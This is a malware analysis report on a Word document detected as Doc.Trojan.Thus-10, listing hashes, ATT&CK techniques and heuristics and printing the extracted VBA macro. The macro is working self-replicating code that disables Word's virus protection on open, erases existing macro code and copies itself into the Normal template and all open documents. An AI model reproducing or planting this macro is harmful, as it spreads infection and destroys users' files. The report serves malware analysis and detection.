Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f695ef3e9def743…

MALICIOUS

Office (OLE)

85.5 KB Created: 2001-06-27 11:53:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 246bf07d423e56057b1e8832ddef9902 SHA-1: f8933499c655357a678104e9975805ca976efe09 SHA-256: 7f695ef3e9def743c8ac9bbad9028afc8d4eaece46dc85358c71bc196756cec2
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Trojan.Thus-10'. It contains a VBA macro that executes upon opening the document, indicated by the 'Document_Open' subroutine. This macro attempts to modify the Normal template and potentially other documents, suggesting an effort to achieve persistence or spread. The macro's logic appears to be an anti-analysis or anti-detection routine, as it checks for specific strings ('HEALTH', 'Thus_001') and attempts to remove or replace code.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2465 bytes
SHA-256: 92361fd6ad2fb2a4852f8f56858c89ac2a4df19cd21f396de26a43b175d551b1
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'HEALTH'
'Thus_001'
Private Sub Document_Open()
'Modify Thus to ANTIThus by Gosha Zinow
    On Error Resume Next
    Application.Options.VirusProtection = False
    sigsearch = "'Thus_001'"
    healthsearch = "'HEALTH'"
    findthus = False
    healthstr = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1)
    sigstr = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1)
    If healthstr <> healthsearch Then
    If sigstr = sigsearch Then
    findthus = True
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> healthsearch Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If findthus Then Application.Quit SaveChanges:=wdSaveChanges
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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